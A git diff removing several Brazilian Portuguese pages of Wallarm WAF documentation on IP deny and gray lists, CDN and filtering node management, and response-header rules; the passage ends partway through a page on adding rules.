"../include-pt-BR/waf/features/ip-lists/common-actions-with-lists-overview.md" - -![Lista de negação de IP](../../images/user-guides/ip-lists/denylist-apps.png) - -!!! info "Nome antigo da lista" - O nome antigo da lista de negação de endereços IP é "lista de endereços IP na blacklist". - -## Exemplos de uso da lista de negação de IP - -* Bloquear endereços IP dos quais vários ataques consecutivos se originaram. - - Um ataque pode incluir várias solicitações originadas de um endereço IP e contendo cargas maliciosas de diferentes tipos. Um dos métodos para bloquear tais ataques é bloquear a origem das solicitações. Você pode configurar o bloqueio automático do IP de origem configurando o limite para bloqueio do IP de origem e a reação apropriada no [gatilho](../triggers/trigger-examples.md#denylist-ip-if-4-or-more-malicious-payloads-are-detected-in-1-hour). - -* Bloquear ataques baseados em comportamento. - - O nó de filtragem Wallarm pode bloquear a maioria das solicitações de tráfego prejudiciais caso a caso se uma carga maliciosa for detectada. No entanto, para ataques baseados em comportamento quando cada solicitação individual é legítima (por exemplo, tentativas de login com pares de usuário/senha) o bloqueio por origem pode ser necessário. - - Por padrão, o bloqueio automático de fontes de ataques comportamentais está desativado. [Instruções sobre como configurar a proteção contra força bruta →](../../admin-en/configuration-guides/protecting-against-bruteforce.md#configuration-steps) - -## Adicionando um objeto à lista - -Você pode habilitar o Wallarm para listar automaticamente os endereços IP na **Lista de negação se eles produzirem algum tráfego suspeito**, bem como listar objetos **manualmente**. - -!!! info "Adicionando um endereço IP à lista no nó multiusuário" - Se você instalou o [nó multiusuário](../../installation/multi-tenant/overview.md), mude primeiro para a [conta do inquilino](../../installation/multi-tenant/configure-accounts.md#tenant-account-structure) para a qual o endereço IP é adicionado à lista. - -### População automática da Lista de negação (recomendado) - -A funcionalidade [gatilhos](../../user-guides/triggers/triggers.md) permite a inclusão automática de IPs na Lista de negação pelas seguintes condições: - -* Solicitações maliciosas dos seguintes tipos: [`Força bruta`, `Navegação forçada`](../../admin-en/configuration-guides/protecting-against-bruteforce.md), [`BOLA`](../../admin-en/configuration-guides/protecting-against-bola.md). -* `Número de cargas maliciosas` produzidos por um IP. - -Gatilhos com a reação `Lista de negação de endereço IP` aos eventos listados colocam automaticamente os IPs na Lista de negação por um período de tempo especificado. Você pode configurar gatilhos no Console Wallarm → **Gatilhos**. - -### População manual da Lista de negação - -Para adicionar um endereço IP, sub-rede ou grupo de endereços IP à lista: - -1. Abra Console Wallarm → **Listas de IP** → **Lista de negação** e clique no botão **Adicionar objeto**. -1. No menu suspenso, selecione a lista para adicionar o novo objeto. -2. Especifique um endereço IP ou grupo de endereços IP de uma das seguintes maneiras: - - * Digite um único **Endereço IP** ou uma **sub-rede** - - !!! info "Máscaras de sub-rede suportadas" - A máscara de sub-rede máxima suportada é `/32` para endereços IPv6 e `/12` para endereços IPv4. - - * Selecione um **país** ou uma **região** (geolocalização) para adicionar todos os endereços IP registrados nesse país ou região - * Selecione o **tipo de origem** para adicionar todos os endereços IP que pertencem a esse tipo, por exemplo: - * **Tor** para endereços IP da rede Tor - * **Proxy** para endereços IP de servidores proxy públicos ou web - * **Motores de busca** para endereços IP de spiders de motores de busca - * **VPN** para endereços IP de redes privadas virtuais - * **AWS** para endereços IP registrados na Amazon AWS - * **Endereços IP maliciosos** para endereços IP que são amplamente conhecidos por atividades maliciosas, conforme mencionado em fontes públicas, e verificado por análise de especialistas. Nós extraímos esses dados a partir de uma combinação dos seguintes recursos: - - * [Segurança de Rede de Inteligência Coletiva](http://cinsscore.com/list/ci-badguys.txt) - * [Regras de Ameaças Emergentes da Proofpoint](https://rules.emergingthreats.net/blockrules/compromised-ips.txt) - * [Repositório de Ameaças do DigitalSide](http://osint.digitalside.it/Threat-Intel/lists/latestips.txt) - * [GreenSnow](https://blocklist.greensnow.co/greensnow.txt) - * [www.blocklist.de](https://www.blocklist.de/en/export.html) - * [Bloqueador de bot ruim definitivo do NGINX](https://github.com/mitchellkrogza/nginx-ultimate-bad-bot-blocker/blob/master/_generator_lists/bad-ip-addresses.list) - * [IPsum](https://github.com/stamparm/ipsum) - -3. Selecione os aplicativos para os quais você permite ou restringe o acesso para os endereços IP especificados. -4. Selecione o período para o qual um endereço IP ou um grupo de endereços IP deve ser adicionado à lista. O valor mínimo é de 5 minutos, o valor máximo é para sempre. -5. Especifique a razão para adicionar um endereço IP ou um grupo de endereços IP à lista. - -![Adicionar IP à lista (com app)](../../images/user-guides/ip-lists/add-ip-to-list-app.png) - -### Lista de negação automática de IPs de bots - ---8<-- "../include-pt-BR/waf/features/ip-lists/autopopulation-by-antibot.md" - -## Recebendo notificações sobre IPs na lista de negação - -Você pode receber notificações sobre novos IPs na Lista de negação através dos mensageiros ou sistemas SIEM que você usa todos os dias. Para habilitar as notificações, configure o [gatilho](../triggers/triggers.md) apropriado, por exemplo: - -![Exemplo de gatilho para IP na Lista de negação](../../images/user-guides/triggers/trigger-example4.png) - ---8<-- "../include-pt-BR/waf/features/ip-lists/common-actions-with-lists-allow-apps.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/ip-lists/graylist.md b/docs/latest-pt-BR/user-guides/ip-lists/graylist.md deleted file mode 100644 index 6ce4ae32f2..0000000000 --- a/docs/latest-pt-BR/user-guides/ip-lists/graylist.md +++ /dev/null @@ -1,94 +0,0 @@ -[access-wallarm-api-docs]: ../../api/overview.md#your-own-client -[application-docs]: ../settings/applications.md - -# Lista de endereços IP em graylist - -**Graylist** é uma lista de endereços IP suspeitos processados pelo nó apenas no [modo de filtragem](../../admin-en/configure-wallarm-mode.md) **seguro de bloqueio** da seguinte forma: se a origem for um IP na graylist que solicita pedidos maliciosos, o nó os bloqueia enquanto permite solicitações legítimas. - -As solicitações maliciosas originadas de IPs em graylist são aquelas que contêm sinais dos seguintes ataques: - -* [Ataques de validação de entrada](../../about-wallarm/protecting-against-attacks.md#input-validation-attacks) -* [Ataques do tipo vpatch](../rules/vpatch-rule.md) -* [Ataques identificados com base em expressões regulares](../rules/regex-rule.md) - -Em contraste com a graylist, a [denylist](../ip-lists/denylist.md) se refere a endereços IP que não têm permissão para acessar suas aplicações de maneira alguma - o nó bloqueia até mesmo o tráfego legítimo produzido por fontes na denylist. A inclusão de IP na graylist é uma das opções voltadas para a redução de [falsos positivos](../../about-wallarm/protecting-against-attacks.md#false-positives). - -O comportamento do nó de filtragem pode ser diferente se os endereços IP da graylist também estiverem na allowlist, [mais sobre prioridades de lista](overview.md#algorithm-of-ip-lists-processing). - -Em Console Wallarm → **Listas de IP** → **Graylist**, você pode gerenciar os endereços IP em graylist da seguinte maneira: - ---8<-- "../include-pt-BR/waf/features/ip-lists/common-actions-with-lists-overview.md" - -![Graylist IP](../../images/user-guides/ip-lists/graylist.png) - -!!! info "Nome antigo da lista" - O nome antigo da lista de endereços IP é "IP address greylist". - -## Exemplos de uso da graylist de IP - -* Incluir na graylist os endereços IP dos quais vários ataques consecutivos se originaram. - - Um ataque pode incluir várias solicitações originadas de um endereço IP e contendo cargas maliciosas de diferentes tipos. Um dos métodos para bloquear a maioria das solicitações maliciosas e permitir solicitações legítimas originadas deste IP é incluí-lo na graylist. Você pode configurar a inclusão automática de origens de IP na graylist configurando o limite para tal e a reação apropriada no [gatilho](../triggers/trigger-examples.md#graylist-ip-if-4-or-more-malicious-payloads-are-detected-in-1-hour). - - A inclusão da origem de IP na graylist pode reduzir significativamente o número de [falsos positivos](../../about-wallarm/protecting-against-attacks.md#false-positives). -* Inclua na graylist endereços IP, países, regiões, data centers, redes (por exemplo, Tor) que normalmente produzem tráfego prejudicial. O nó Wallarm permitirá solicitações legítimas produzidas por objetos na graylist e bloqueará solicitações maliciosas. - -## Adicionando um objeto à lista - -Você pode permitir que o Wallarm coloque endereços IP na graylist **automaticamente se eles gerarem algum tráfego suspeito**, bem como incluir objetos na graylist **manualmente**. - -!!! info "Adicionando um endereço IP à lista no nó multi-tenant" - Se você instalou o [nó multi-tenant](../../installation/multi-tenant/overview.md), troque primeiro para a [conta de um tenant](../../installation/multi-tenant/configure-accounts.md#tenant-account-structure) para qual o endereço IP é adicionado à lista. - - Os gatilhos para inclusão automática do IP na graylist também devem ser configurados nos níveis do tenant. - -### População automática da graylist (recomendado) - -A funcionalidade [triggers](../../user-guides/triggers/triggers.md) permite a inclusão automática de IPs na graylist pelas seguintes condições: - -* Solicitações maliciosas dos seguintes tipos: [`Força bruta`, `Navegação forçada`](../../admin-en/configuration-guides/protecting-against-bruteforce.md), [`BOLA`](../../admin-en/configuration-guides/protecting-against-bola.md). -* `Número de cargas maliciosas` produzidas por um IP. -* Novas contas corporativas possuem um [gatilho pré-configurado (padrão)](../../user-guides/triggers/triggers.md#pre-configured-triggers-default-triggers), que inclui um IP na graylist quando origina mais de 3 tipos diferentes de cargas maliciosas dentro de 1 hora. - -Os gatilhos que possuem reação de `Incluir IP na graylist` aos eventos listados incluem automaticamente IPs na graylist por um período especificado. Você pode configurar gatilhos em Console Wallarm → **Triggers**. - -### População manual da graylist - -Para adicionar um endereço IP, subnet ou grupo de endereços IP à lista manualmente: - -1. Abra Console Wallarm → **Listas de IP** → **Graylist** e clique em **Adicionar objeto**. -2. Especifique um endereço IP ou grupo de endereços IP de um dos seguintes modos: - - * Insira um único **endereço IP** ou uma **subnet** - - !!! info "Subnet masks suportadas" - A máscara de sub-rede máxima suportada é `/32` para endereços IPv6 e `/12` para endereços IPv4. - - * Selecione um **país** ou uma **região** (geolocalização) para adicionar todos os endereços IP registrados neste país ou região - * Selecione o **tipo de fonte** para adicionar todos os endereços IP que pertencem a este tipo, por exemplo: - * **Tor** para endereços IP da rede Tor - * ***Proxy** para endereços IP de servidores proxy públicos ou na web - * **Search Engine Spiders** para endereços IP de robôs de motores de busca - * **VPN** para endereços IP de redes privadas virtuais - * **AWS** para endereços IP registrados na Amazon AWS - * **IPs maliciosos** para endereços IP que são bem conhecidos por atividades maliciosas, conforme mencionados em fontes públicas e verificados por análise de especialistas. Nós obtemos esses dados de uma combinação dos seguintes recursos: - - * [Rede de Segurança de Inteligência Coletiva](http://cinsscore.com/list/ci-badguys.txt) - * [Regras de ameaças emergentes da Proofpoint](https://rules.emergingthreats.net/blockrules/compromised-ips.txt) - * [Repositório de ameaças da DigitalSide](http://osint.digitalside.it/Threat-Intel/lists/latestips.txt) - * [GreenSnow](https://blocklist.greensnow.co/greensnow.txt) - * [www.blocklist.de](https://www.blocklist.de/en/export.html) - * [NGINX ultimate bad bot blocker](https://github.com/mitchellkrogza/nginx-ultimate-bad-bot-blocker/blob/master/_generator_lists/bad-ip-addresses.list) - * [IPsum](https://github.com/stamparm/ipsum) - -3. Selecione as aplicações para as quais você permite ou restringe o acesso para os endereços IP especificados. -4. Selecione o período para o qual um endereço IP ou um grupo de endereços IP deve ser adicionado à lista. O valor mínimo é 5 minutos, o valor máximo é para sempre. -5. Especifique o motivo para adicionar um endereço IP ou um grupo de endereços IP à lista. - -![Adicionar IP à lista (com aplicativo)](../../images/user-guides/ip-lists/add-ip-to-list-app.png) - -### Inclusão automática de IPs de bot na graylist - ---8<-- "../include-pt-BR/waf/features/ip-lists/autopopulation-by-antibot.md" - ---8<-- "../include-pt-BR/waf/features/ip-lists/common-actions-with-lists-allow-apps.md" diff --git a/docs/latest-pt-BR/user-guides/ip-lists/overview.md b/docs/latest-pt-BR/user-guides/ip-lists/overview.md deleted file mode 100644 index d09a4d0663..0000000000 --- a/docs/latest-pt-BR/user-guides/ip-lists/overview.md +++ /dev/null @@ -1,37 +0,0 @@ -# Tipos e lógica principal de listas de IP - -Na seção **Listas de IP** do Console Wallarm, você pode controlar o acesso aos seus aplicativos ao permitir, negar e incluir em listas cinzas os endereços IP. - -* **Lista de permissões** é uma lista de endereços IP confiáveis que têm permissão para acessar seus aplicativos mesmo que as solicitações originadas por eles contenham sinais de ataque. -* **Lista de bloqueios** é uma lista de endereços IP que não têm permissão para acessar seus aplicativos. O nó de filtragem bloqueia todas as solicitações originadas a partir de endereços IP na lista de bloqueios. -* **Lista cinza** é uma lista de endereços IP que têm permissão para acessar seus aplicativos apenas se as solicitações originadas por eles não contiverem sinais de ataque. - -![Todas as listas de IP](../../images/user-guides/ip-lists/ip-lists-home-apps.png) - -## Algoritmo de processamento de listas de IP - -O nó de filtragem emprega diferentes abordagens com base no [modo](../../admin-en/configure-wallarm-mode.md) de operação selecionado para analisar as listas de IP. Em certos modos, ele avalia todos os três tipos de listas de IP, ou seja, listas de permissões, listas de bloqueios e listas cinzas. No entanto, em outros modos, concentra-se apenas em listas de IP específicas. - -A imagem fornecida abaixo representa visualmente as prioridades e combinações de listas de IP em cada modo de operação, destacando quais listas são consideradas em cada caso: - -![Prioridades da lista de IP](../../images/user-guides/ip-lists/ip-lists-priorities.png) - -## Configuração de listas de IP - -Para configurar listas de IP: - -1. Se o nó Wallarm estiver localizado atrás de um balanceador de carga ou CDN, certifique-se de configurar seu nó Wallarm para relatar corretamente os endereços IP dos usuários finais: - - * [Instruções para nós Wallarm baseados em NGINX](../../admin-en/using-proxy-or-balancer-en.md) (incluindo imagens AWS / GCP e contêiner de nó Docker) - * [Instruções para os nós de filtragem implantados como o controlador Wallarm Kubernetes Ingress](../../admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md) -2. Adicione fontes de solicitação às listas de IP: - - * [Lista de permissões](allowlist.md) - * [Lista de bloqueios](denylist.md) - * [Lista cinza](graylist.md) - -!!! Aviso "Usando instalações adicionais de filtragem de tráfego" - Observe que, se você usa instalações adicionais (software ou hardware) para filtrar e bloquear automaticamente o tráfego, recomenda-se que você configure uma lista de permissões com os endereços IP para o [Scanner Wallarm](../../about-wallarm/detecting-vulnerabilities.md#vulnerability-scanner). Isso permitirá que os componentes Wallarm digitalizem sem problemas seus recursos em busca de vulnerabilidades. - - * [Endereço IP do scanner registrado na Wallarm US Cloud](../../admin-en/scanner-addresses.md) - * [Endereço IP do scanner registrado na Wallarm EU Cloud](../../admin-en/scanner-addresses.md) \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/nodes/cdn-node.md b/docs/latest-pt-BR/user-guides/nodes/cdn-node.md deleted file mode 100644 index 6d3102e274..0000000000 --- a/docs/latest-pt-BR/user-guides/nodes/cdn-node.md +++ /dev/null @@ -1,90 +0,0 @@ -[cdn-node-operation-scheme]: ../../images/waf-installation/quickstart/cdn-node-scheme.png -[data-to-wallarm-cloud-docs]: ../rules/sensitive-data-rule.md -[operation-modes-docs]: ../../admin-en/configure-wallarm-mode.md -[operation-mode-rule-docs]: ../rules/wallarm-mode-rule.md -[wallarm-cloud-docs]: ../../about-wallarm/overview.md#cloud -[cdn-node-creation-modal]: ../../images/waf-installation/quickstart/cdn-node-creation-modal.png -[cname-required-modal]: ../../images/waf-installation/quickstart/cname-required-modal.png -[attacks-in-ui]: ../../images/admin-guides/test-attacks-quickstart.png -[user-roles-docs]: ../settings/users.md -[update-origin-ip-docs]: #updating-the-origin-address-of-the-protected-resource -[rules-docs]: ../rules/rules.md -[ip-lists-docs]: ../ip-lists/overview.md -[integration-docs]: ../settings/integrations/integrations-intro.md -[trigger-docs]: ../triggers/triggers.md -[application-docs]: ../settings/applications.md -[events-docs]: ../events/check-attack.md -[graylist-populating-docs]: ../ip-lists/graylist.md#managing-graylist -[link-app-conf]: ../settings/applications.md -[using-varnish-cache]: #using-varnish-cache - -# Nós de filtragem de CDN - -A seção **Nós** da UI do Console Wallarm permite que você gerencie os nós dos tipos [**Nó Wallarm**](nodes.md) e **Nó CDN**. Este artigo é sobre nós CDN. - -!!! info "Nós de CDN na versão gratuita" - A implantação do tipo de nó CDN não é suportada pelo [plano gratuito](../../about-wallarm/subscription-plans.md#free-tier-subscription-plan-us-cloud). - ---8<-- "../include-pt-BR/waf/installation/cdn-node/how-cdn-node-works.md" - -## Criando um nó - -Para criar o nó CDN, siga as [instruções](../../installation/cdn-node.md). - -## Visualizando detalhes de um nó - -Os detalhes do nó instalado são exibidos na tabela e em cada cartão do nó. Para abrir o cartão, clique no registro da tabela apropriado. - -As seguintes propriedades e métricas do nó estão disponíveis: - -* Nome do nó gerado com base no nome do domínio protegido -* Endereço IP do nó -* Endereço de origem associado ao domínio protegido -* Identificador único do nó (UUID) -* Status do nó -* Certificado SSL/TLS: Let's Encrypt gerado pelo Wallarm ou personalizado -* Tempo da última sincronização do nó de filtragem e Wallarm Cloud -* Data da criação do nó de filtragem -* Número de solicitações processadas pelo nó no mês atual -* Versões dos custom_ruleset e proton.db utilizados -* Versões dos pacotes Wallarm instalados -* Indicador de atualizações de componentes disponíveis - -![Cartão do nó CDN](../../images/user-guides/nodes/view-cdn-node-comp-vers.png) - -## Atualizando o endereço de origem do recurso protegido - -Se o seu provedor de hospedagem atualizar dinamicamente o endereço IP de origem ou domínio associado ao recurso protegido, mantenha o endereço de origem especificado na configuração do nó CDN atualizado. Caso contrário, as solicitações não chegarão ao recurso protegido, pois o nó CDN tentará encaminhá-las para um endereço de origem incorreto. - -Para atualizar o endereço de origem, use a opção **Editar endereço de origem**. - -## Carregando o certificado SSL/TLS personalizado - -A Wallarm emite automaticamente o certificado [Let's Encrypt](https://letsencrypt.org/) permitindo HTTPS no domínio do nó CDN. Certificados são gerados e renovados automaticamente conforme necessário. - -Se você já possui um certificado para o domínio protegido e prefere usar esse em vez do certificado Let's Encrypt, você pode fazer o upload do seu próprio certificado usando a opção **Atualizar certificado SSL/TLS**. - -## Usando Varnish Cache - -Utilizar um nó CDN com o acelerador HTTP [Varnish Cache](https://varnish-cache.org/intro/index.html#intro) acelera a entrega de conteúdo para os usuários (por exemplo, suas respostas do servidor). No entanto, se você alterar seu conteúdo, a cópia em cache no CDN pode ser atualizada com atraso, o que pode causar [problemas](#why-is-there-a-delay-in-the-update-of-the-content-protected-by-the-cdn-node) e ser o motivo para desativar o Varnish Cache. - -Para evitar problemas com a velocidade de atualização do conteúdo, o Varnish Cache é desativado por padrão. Você pode ativar/desativar o Varnish Cache manualmente. Para fazer isso, prossiga para **Nós** → menu Nó CDN → **Ativar Varnish Cache** ou **Desativar Varnish Cache**. - -## Excluindo um nó - -Quando o nó de filtragem é excluído, a filtragem de solicitações para o seu domínio será interrompida. A exclusão do nó de filtragem não pode ser desfeita. O nó Wallarm será excluído permanentemente da lista de nós. - -1. Exclua o registro CNAME do Wallarm dos registros de DNS do domínio protegido. - - !!! warning "Mitigação de solicitações maliciosas será interrompida" - Assim que o registro CNAME for removido e as alterações entrarem em vigor na Internet, o nó CDN do Wallarm interromperá o encaminhamento de solicitações e o tráfego legítimo e malicioso irá diretamente para o recurso protegido. - - Isso resulta no risco de exploração de vulnerabilidades do servidor protegido quando o registro de DNS excluído entrou em vigor, mas o registro CNAME gerado para a nova versão do nó ainda não entrou em vigor. -1. Aguarde as mudanças serem propagadas. O status atual do registro CNAME é exibido em Console Wallarm → **Nós** → **CDN** → **Excluir nó**. -1. Exclua o nó CDN da lista de nós. - -![Excluindo o nó](../../images/user-guides/nodes/delete-cdn-node.png) - -## Solução de problemas do nó CDN - ---8<-- "../include-pt-BR/waf/installation/cdn-node/cdn-node-troubleshooting.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/nodes/nodes.md b/docs/latest-pt-BR/user-guides/nodes/nodes.md deleted file mode 100644 index 6fc106c986..0000000000 --- a/docs/latest-pt-BR/user-guides/nodes/nodes.md +++ /dev/null @@ -1,117 +0,0 @@ -# Nós Wallarm - -A seção **Nós** da interface de usuário do Console Wallarm permite que você gerencie os nós dos tipos **Nó Wallarm** e [**Nó CDN**](cdn-node.md). Este artigo é sobre nós Wallarm. - -Os módulos de nós Wallarm devem ser implantados no ambiente do cliente para que a Wallarm mitigue o tráfego malicioso. O nó Wallarm opera como um proxy, mitigando solicitações maliciosas e encaminhando solicitações legítimas ao recurso protegido. - -Opções de gerenciamento de UI de nó Wallarm: - -* Criar novos nós -* Visualizar propriedades e métricas de nós instalados -* Regenerar tokens de nó -* Renomear nós -* Deletar nós - -![Nós](../../images/user-guides/nodes/table-nodes.png) - -!!! info "Acesso de administrador" - A criação, exclusão e regeneração de nós/tokens Wallarm estão disponíveis apenas para usuários com a função de **Administrador** ou **Administrador Global**. A visualização dos detalhes dos nós instalados está disponível para todos os usuários. - -!!! warning "Tipos regulares e de nuvem de nós removidos" - A partir da versão 4.6, apenas o [**tipo de nó Wallarm** está disponível](../../updating-migrating/what-is-new.md#removal-of-the-email-password-based-node-registration). - - **Nó Wallarm** utiliza uma abordagem unificada para registrar e configurar em [qualquer ambiente suportado](../../installation/supported-deployment-options.md). - -## Criando um nó - -Para criar um nó Wallarm usando o [token apropriado](#api-and-node-tokens-for-node-creation): - -=== "Com token de API" - - 1. Abra o Wallarm Console → **Configurações** → **Tokens de API** na [Nuvem dos EUA](https://us1.my.wallarm.com/settings/api-tokens) ou [Nuvem da UE](https://my.wallarm.com/settings/api-tokens). - 1. Encontre ou crie um token de API com a função de origem `Implantar`. - 1. Copie este token. - 1. Implante um novo nó no [ambiente conveniente](../../installation/supported-deployment-options.md) usando seu token de API. Após o registro do nó, ele aparecerá automaticamente na seção **Nós** do Console Wallarm. - -=== "Com token de nó" - - 1. Abra o Wallarm Console → **Nós** na [Nuvem dos EUA](https://us1.my.wallarm.com/nodes) ou [Nuvem da UE](https://my.wallarm.com/nodes) e crie o nó do tipo **Nó Wallarm**. - - ![Criação de nó Wallarm](../../images/user-guides/nodes/create-cloud-node.png) - - 1. Copie o token gerado. - 1. Implante um novo nó no [ambiente conveniente](../../installation/supported-deployment-options.md) usando seu token de nó. - -!!! info "A opção multi-inquilino" - A opção **multi-inquilino** permite o uso do Wallarm para proteger várias infraestruturas de empresa independentes ou ambientes isolados simultaneamente. [Leia mais](../../installation/multi-tenant/overview.md) - - === "Instalação de token de API" - - Você pode alternar um nó para o modo multi-inquilino após a instalação a partir do menu do nó existente. - - === "Instalação de token de nó" - - Você pode alternar um nó para o modo multi-inquilino durante sua criação ou a partir do menu do nó existente. - -## Visualizando detalhes de um nó - -Os detalhes do nó de filtragem instalado são exibidos na tabela e no cartão de cada nó de filtragem. Para abrir o cartão, clique no registro adequado da tabela. - -As seguintes propriedades e métricas de nó estão disponíveis: - -* Nome do nó que foi dado ao nó no momento da criação -* O número médio de solicitações por segundo (RPS) -* Endereço IP do nó -* Identificador único do nó (UUID) -* Token do Nó Wallarm (visível apenas para usuários com a função **Administrador** ou **Administrador Global** [papel](../settings/users.md)) -* Horário da última sincronização do nó de filtragem e da Nuvem Wallarm -* Data da criação do nó de filtragem -* Número de solicitações processadas pelo nó no mês atual, você também pode **Ver eventos deste nó para o dia** (muda para a seção **Eventos**) -* Versões de LOM e proton.db utilizados -* Versões dos pacotes Wallarm instalados, NGINX e Envoy (se houver) - -![Cartão de nó](../../images/user-guides/nodes/view-wallarm-node.png) - -Se um nó Wallarm estiver instalado para várias instâncias (por exemplo, para o processamento inicial de tráfego e a pós-análise de solicitação realizada por diferentes instâncias de servidor), então o número correspondente de nós de filtragem é agrupado em um único registro na tabela. Propriedades e métricas estarão disponíveis para cada instância. - -No Wallarm, as instâncias de nós são chamadas de `hostname_NodeUUID`, onde: - -* `hostname` é o nome da máquina de trabalho na qual a instância do nó é iniciada -* `NodeUUID` é o identificador único do nó (UUID) - -Você pode definir `hostname` manualmente durante a instalação do nó usando o parâmetro `-n` no script `register-node`. - -## Regenerando o token do nó - -A regeneração do token cria um novo token para o nó. - -1. Abra o Wallarm Console → **Nós**. -2. Clique em **Regenerar token** no menu ou cartão do nó. -3. Se o nó já estiver instalado na sua infraestrutura, copie o novo valor do token e especifique-o nas configurações do nó instalado. - -![Regenerando o token do nó](../../images/user-guides/nodes/generate-new-token.png) - -## Deletando um nó - -Quando o nó é excluído, a filtragem de solicitações para o seu aplicativo será interrompida. A exclusão do nó de filtragem não pode ser desfeita. O nó será excluído permanentemente da lista de nós. - -1. Abra o Wallarm Console → **Nós**. -1. Selecione um ou mais nós e clique em **Deletar**. Você também pode deletar o nó de filtragem selecionando um botão do menu do nó ou do cartão do nó. -1. Confirme a ação. - -## Tokens de API e nó para criação de nó - -O nó de filtragem Wallarm interage com a Nuvem Wallarm. Para fornecer ao nó acesso à API da Nuvem Wallarm, você precisa gerar um token no lado da Nuvem e usá-lo na máquina com o nó. Use **Tokens de API** (recomendado) ou **Tokens de nó** para isso: - -* [**Tokens de API**](../settings/api-tokens.md) com a função `Implantar` quando: - - * O número de grupos de nós usados para organizar logicamente os nós na interface do usuário não é conhecido antecipadamente (os grupos de nós serão constantemente adicionados/removidos - com os tokens de API você será capaz de gerenciar facilmente esses grupos com a variável `WALLARM_LABELS` definindo o valor do rótulo `grupo`). - * Você precisa controlar o ciclo de vida do token (você pode especificar a data de expiração ou desabilitar os tokens de API, o que os torna mais seguros). - - !!! info "Tokens de API não são suportados por algumas opções de implantação" - Tokens de API atualmente não podem ser usados para AWS baseadas no [módulo Terraform](../../installation/cloud-platforms/aws/terraform-module/overview.md). Use os tokens de nó em vez disso. - -* **Tokens de nó** quando você sabe antecipadamente quais grupos de nós serão apresentados. Use **Nós** → **Criar nó** para criar e nomear o grupo de nós. Durante a implantação do nó, use o token do grupo para cada nó que você deseja incluir no grupo. - -!!! info "Suporte para auto-escala" - Ambos os tipos de token suportam o recurso de auto-escala de nó disponível em algumas nuvens/opções de instalação. \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/rules/add-replace-response-header.md b/docs/latest-pt-BR/user-guides/rules/add-replace-response-header.md deleted file mode 100644 index 3b9fefb88e..0000000000 --- a/docs/latest-pt-BR/user-guides/rules/add-replace-response-header.md +++ /dev/null @@ -1,38 +0,0 @@ -# Definindo headers de resposta - -A regra **Alterar headers de resposta do servidor** permite adicionar, deletar headers de resposta do servidor e alterar seus valores. - -Este tipo de regra é mais frequentemente usado para configurar a camada adicional de segurança do aplicativo, por exemplo: - -* Para adicionar o header de resposta [`Content-Security-Policy`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy) controlando os recursos que o cliente tem permissão para carregar para uma determinada página. Isso ajuda a proteger contra os ataques de [XSS](../../attacks-vulns-list.md#crosssite-scripting-xss). - - Se seu servidor não retornar este header por padrão, é recomendado adicioná-lo usando a regra **Alterar headers de resposta do servidor**. Nos Documentos Web da MDN, você pode encontrar descrições de [valores possíveis do header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy#directives) e [exemplos de uso do header](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP#examples_common_use_cases). - - Da mesma forma, essa regra pode ser usada para adicionar os headers de resposta [`X-XSS-Protection`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-XSS-Protection), [`X-Frame-Options`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options), [`X-Content-Type-Options`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options). -* Para alterar o cabeçalho NGINX `Server` ou qualquer outro cabeçalho contendo os dados das versões dos módulos instalados. Esses dados podem ser potencialmente usados pelo atacante para descobrir vulnerabilidades das versões dos módulos instalados e, como resultado, explorar as vulnerabilidades descobertas. - - O cabeçalho NGINX `Server` pode ser alterado a partir do nó Wallarm 2.16. - -A regra **Alterar headers de resposta do servidor** também pode ser usada para resolver qualquer problema técnico ou de negócios que você tenha. - -## Criando e aplicando a regra - ---8<-- "../include-pt-BR/waf/features/rules/rule-creation-options.md" - -Para criar e aplicar a regra na seção **Regras**: - -1. Crie a regra **Alterar headers de resposta do servidor** na seção **Regras** do Console Wallarm. A regra consiste nos seguintes componentes: - - * **Condição** [descreve](rules.md#branch-description) os endpoints para aplicar a regra. - * Nome do cabeçalho a ser adicionado ou para substituir seu valor. - * Novo valor do cabeçalho especificado. - - Para excluir um cabeçalho de resposta existente, deixe o valor deste cabeçalho na guia **Substituir** vazio. - -2. Aguarde a [compilação da regra ser concluída](rules.md). - -## Exemplo de regra - -Para permitir que todo o conteúdo de `https://example.com/*` venha apenas da origem do site, você pode adicionar o cabeçalho de resposta [`Content-Security-Policy: default-src 'self'`](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP#example_1) usando a regra **Alterar headers de resposta do servidor** da seguinte maneira: - -![Exemplo da regra "Alterar headers de resposta do servidor"](../../images/user-guides/rules/add-replace-response-header.png) \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/rules/add-rule.md b/docs/latest-pt-BR/user-guides/rules/add-rule.md deleted file mode 100644 index d81a09e0ca..0000000000 --- a/docs/latest-pt-BR/user-guides/rules/add-rule.md +++ /dev/null @@ -1,349 +0,0 @@ -[link-request-processing]: request-processing.md -[link-regex]: https://github.com/yandex/pire -[link-filter-mode-rule]: wallarm-mode-rule.md -[link-sensitive-data-rule]: sensitive-data-rule.md -[link-virtual-patch]: vpatch-rule.md -[link-regex-rule]: regex-rule.md - -[img-add-rule]: ../../images/user-guides/rules/add-rule.png - -# Adicionando Regras no Perfil da Aplicação - -Para adicionar uma nova regra, vá para a aba *Rules WAF*. - -As regras podem ser adicionadas tanto a branches existentes quanto a novas branches. Elas podem ser criadas do zero ou baseadas em uma das branches existentes. - -Para adicionar uma regra a uma branch existente, clique em *Add rule* (após passar o cursor do mouse sobre a linha de descrição da branch, o botão aparecerá no menu pop-up à direita). Você também pode realizar esta operação na página de regras desta branch. - -Se necessário, é possível modificar a branch à qual uma regra será adicionada. Para isso, clique na cláusula *If request is* no formulário de adição de regra e faça alterações nas condições de descrição da branch. Se uma nova branch for criada, ela aparecerá na tela, e a visualização da estrutura da aplicação será atualizada. - -![Adicionando uma nova regra][img-add-rule] - - -## Descrição da Branch - -Uma descrição da branch consiste em um conjunto de condições para vários parâmetros que uma solicitação HTTP deve cumprir; caso contrário, as regras associadas a esta branch não serão aplicadas. Cada linha na seção *If request is* do formulário de adição de regra refere-se 